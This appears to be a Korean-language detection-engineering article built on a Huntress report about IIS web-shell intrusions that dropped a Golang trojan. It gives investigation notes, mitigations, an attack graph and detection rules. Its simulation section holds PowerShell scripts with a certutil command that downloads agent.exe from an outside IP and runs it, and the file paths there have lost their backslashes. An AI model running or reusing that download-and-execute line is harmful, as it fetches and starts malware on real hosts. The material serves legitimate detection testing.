시도, 오류 및 오타: 왜 일부 악성코드 공격이 ‘정교하다’고 생각하지 않는지
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
이 기사는 위협 행위자가 손상된 IIS 웹 서버를 활용하여 공격 대상의 엔드포인트에서 Golang 기반 트로이 목마(agent.exe)를 다운로드하고 실행한 세 가지 별개의 사건을 설명합니다. 공격자들은 반복적으로 실행을 시도했으며, certutil을 사용해 페이로드를 가져오고 나중에 Windows Defender의 제외 항목을 추가한 후 Windows 서비스를 통해 지속성을 확립하려고 시도했습니다. 감지는 명령줄, 프로세스 트리 및 네트워크 활동을 캡처한 EDR과 Sysmon 로그를 통해 이루어졌습니다. 이 공격은 적대자가 완벽한 계획서를 따르기보다는 방어 장애물을 어떻게 적응해 나가는지를 보여줍니다.
조사
Huntress 분석가들은 공격 체인을 재구성하기 위해 Windows 이벤트 로그, Sysmon 이벤트 및 IIS 웹 서버 로그를 조사했습니다. 그들은 w3wp.exe를 통한 초기 웹 셸 실행을 식별하고, 잘못된 명령어와 반복적인 페이로드 배달 시도, 및 시작에 실패한 WindowsUpdate라는 서비스의 생성을 관찰했습니다. 파일 경로, 명령줄 및 네트워크 연결과 같은 여러 지표가 수집되었으며 세 가지 사건 전반에 걸쳐 상관되며 분석되었습니다.
완화
주요 완화 조치로는 IIS 서버 강화, 웹 셸 실행 제한, 엄격한 애플리케이션 허용 리스트 시행, certutil 및 PowerShell과 같은 LOLBins의 비정상적인 사용 모니터링, 및 Windows Defender 제외 항목의 임의 생성을 방지하는 것이 포함됩니다. 손상된 호스트의 신속한 격리 및 GotoHTTP와 같은 투하된 도구의 제거도 권장됩니다.
대응
탐지 시, 대응자는 영향을 받은 엔드포인트를 격리하고 전체 프로세스 트리 및 네트워크 로그를 수집하며, 악성 바이너리를 삭제하고 승인되지 않은 Windows Defender 제외 항목을 되돌리며 서비스 생성 실패를 확인해야 합니다. 손상된 페이지에 대한 철저한 웹 서버 검토를 수행하고 모든 손상된 자격 증명을 회전하십시오.
“graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 classDef technique fill:#c2c2f0 classDef malware fill:#ff9999 %% Node Definitions initial_access[“<b>액션</b> – <b>T1505.004 서버 소프트웨어 컴포넌트: IIS 컴포넌트</b><br/>공개된 IIS 웹 서버를 악용하여 w3wp.exe를 통해 웹 셸을 배포”] web_shell[“<b>악성코드</b> – <b>이름</b>: 웹 셸<br/><b>파일</b>: login.aspx”] process_w3wp[“<b>프로세스</b> – <b>이름</b>: w3wp.exe<br/><b>목적</b>: 웹 애플리케이션 호스팅”] execution[“<b>액션</b> – <b>T1059.003 윈도우 명령 셸</b><br/>whoami, netstat, ipconfig와 같은 명령 실행”] powershell_exec[“<b>툴</b> – <b>이름</b>: PowerShell<br/><b>기법</b>: T1059.001”] discovery[“<b>액션</b> – <b>탐색 기법</b>”] account_discovery[“<b>기법</b> – <b>T1087.001 로컬 계정</b><br/>로컬 사용자 계정 열거”] group_discovery[“<b>기법</b> – <b>T1069.001 로컬 그룹</b><br/>로컬 그룹 멤버십 열거”] network_conn_disc[“<b>기법</b> – <b>T1049 네트워크 서비스 스캐닝</b><br/>활성화된 네트워크 연결 확인”] internet_conn_disc[“<b>기법</b> – <b>T1016.001 인터넷 연결 탐색</b><br/>외부 연결 확인”] defense_evasion[“<b>액션</b> – <b>회피 기법</b>”] certutil[“<b>툴</b> – <b>이름</b>: certutil.exe<br/><b>기법</b>: T1218 시스템 바이너리 프록시 실행”] hide_files[“<b>기법</b> – <b>T1564.001 아티팩트 숨기기: 숨겨진 파일 및 디렉터리</b><br/>숨김 및 시스템 속성 설정”] defender_exclusion[“<b>기법</b> – <b>T1562 방어 손상</b> 및 <b>T1564.012 파일 경로 제외</b><br/>PowerShell을 통해 Windows Defender 제외 항목 추가”] lateral_transfer[“<b>액션</b> – <b>T1570 횡적 도구 전송</b><br/>외부 서버에서 악성 바이너리 복사”] malicious_binaries[“<b>악성코드</b> – <b>파일</b>: agent.exe, 815.exe, dllhost.exe”] persistence[“<b>액션</b> – <b>T1546.010 이벤트 트리거 실행: Windows 서비스</b><br/>dllhost.exe를 가리키는 서비스 ‘WindowsUpdate’ 생성”] service_creation[“<b>프로세스</b> – <b>이름</b>: Windows 서비스 ‘WindowsUpdate'”] final_execution[“<b>액션</b> – <b>최종 실행</b><br/>서비스 시작, 공격자는 제어 유지”] %% Class Assignments class initial_access action class web_shell malware class process_w3wp process class execution action class powershell_exec tool class discovery action class account_discovery technique class group_discovery technique class network_conn_disc technique class internet_conn_disc technique class defense_evasion action class certutil tool class hide_files technique class defender_exclusion technique class lateral_transfer action class malicious_binaries malware class persistence action class service_creation process class final_execution action %% Connections initial_access u002du002d>|사용| web_shell web_shell u002du002d>|실행| process_w3wp process_w3wp u002du002d>|활성화| execution execution u002du002d>|사용| powershell_exec execution u002du002d>|연결| discovery discovery u002du002d>|포함| account_discovery discovery u002du002d>|포함| group_discovery discovery u002du002d>|포함| network_conn_disc discovery u002du002d>|포함| internet_conn_disc discovery u002du002d>|연결| defense_evasion defense_evasion u002du002d>|사용| certutil defense_evasion u002du002d>|적용| hide_files defense_evasion u002du002d>|적용| defender_exclusion defense_evasion u002du002d>|연결| lateral_transfer lateral_transfer u002du002d>|전송| malicious_binaries malicious_binaries u002du002d>|활성화| persistence persistence u002du002d>|생성| service_creation service_creation u002du002d>|트리거| final_execution “
공격 흐름
탐지
파일 숨기기 위한 명령줄 실행 속성
보기
숫자로만 구성된 이름을 가진 수상한 실행 파일(명령줄)
보기
Windows Defender 설정의 수상한 변경 사항(PowerShell)
보기
데이터 인코딩 및 인증서 작업을 위한 Certutil 사용(명령줄)
보기
공용 사용자 프로필에 있는 수상한 파일(파일 이벤트)
보기
공용 사용자 프로필에서의 수상한 실행(프로세스 생성)
보기
탐지할 IOC(SourceIP): 일부 악성 공격이 생각만큼 ‘정교’하지 않은 이유
보기
탐지할 IOC(HashSha256): 일부 악성 공격이 생각만큼 ‘정교’하지 않은 이유
보기
탐지할 IOC(DestinationIP): 일부 악성 공격이 생각만큼 ‘정교’하지 않은 이유
보기
웹 서버 [웹 서버]의 악성 POST 요청 탐지
보기
웹 서버 프로세스 [Windows 프로세스 생성]에서 명령줄 실행 탐지
보기
시뮬레이션 실행
전제조건: 원격 검사 및 기준선을 통과해야 합니다.
이유: 이 섹션은 감지 규칙을 트리거하기 위해 설계된 적대자 기술(TTP)의 정확한 실행을 자세히 설명합니다. 명령어와 서사는 식별된 TTP를 직접 반영해야 하며 탐지 로직에 의해 예상되는 정확한 원격 측정을 생성하는 것을 목표로 합니다.
-
공격 서사 및 명령어:
손상된 IIS 서버에서 코드 실행 권한을 이미 획득한 공격자는w3wp.exe프로세스(IIS 작업자)를 활용하여 일련의 서명된 바이너리 프록시를 실행합니다. 우선, 시스템 및 네트워크 상태를 열거합니다(whoami.exe,netstat -an,ipconfig /all). 그런 다음certutil.exe를 사용하여 원격 C2 서버에서 악성 페이로드(agent.exe)를 다운로드하여 공용 사용자 디렉터리에서 즉시 실행합니다. 모든 명령은cmd.exe /c를 통해,w3wp.exe의 컨텍스트에서 시작하여 프로세스 생성 이벤트가 규칙의 조건과 일치하도록 보장합니다.# 1. 시스템/사용자 정보 열거 Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c whoami.exe' -NoNewWindow Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c netstat -an' -NoNewWindow Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c ipconfig /all' -NoNewWindow # 2. certutil을 통해 악성 페이로드 다운로드 및 실행 $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe' Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList $maliciousCmd -NoNewWindow -
회귀 테스트 스크립트: 다음 스크립트는 Sigma 규칙을 트리거해야 하는 정확한 원격 측정을 재현하며 전체 공격 체인을 자동화합니다.
<# .SYNOPSIS "웹 서버 프로세스에서 명령줄 실행 감지" Sigma 규칙을 트리거하는 적대자 활동을 시뮬레이션합니다. .DESCRIPTION IIS 작업자 프로세스(w3wp.exe)에서 일련의 탐색 및 다운로드 후 실행 명령을 실행합니다. 프로세스 생성 감사(이벤트 ID 4688)가 활성화된 Windows 호스트에서 실행합니다. #> # w3wp.exe를 통한 명령을 호출하는 함수 function Invoke-W3wpCommand { param ( [Parameter(Mandatory=$true)] [string]$CmdLine ) Write-Host "Invoking via w3wp.exe: $CmdLine" Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList "/c $CmdLine" -WindowStyle Hidden -PassThru | Out-Null } # 1. 탐색 명령어(MITRE T1033, T1016, T1069.001) $discoveryCommands = @( "whoami.exe", "netstat -an", "net user admin$", "ipconfig /all", "net localgroup administrators" ) foreach ($cmd in $discoveryCommands) { Invoke-W3wpCommand -CmdLine $cmd Start-Sleep -Seconds 2 } # 2. 악성 다운로드 및 실행(MITRE T1218.004) $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe' Invoke-W3wpCommand -CmdLine $maliciousCmd -
정리 명령: 다운로드된 페이로드를 제거하고 남은 프로세스를 종료합니다.
# 악성 에이전트 바이너리 삭제 Remove-Item -Path "C:UsersPublicagent.exe" -Force -ErrorAction SilentlyContinue # 아직 실행 중인 경우 옵션으로 에이전트 종료 Get-Process -Name "agent" -ErrorAction SilentlyContinue | Stop-Process -Force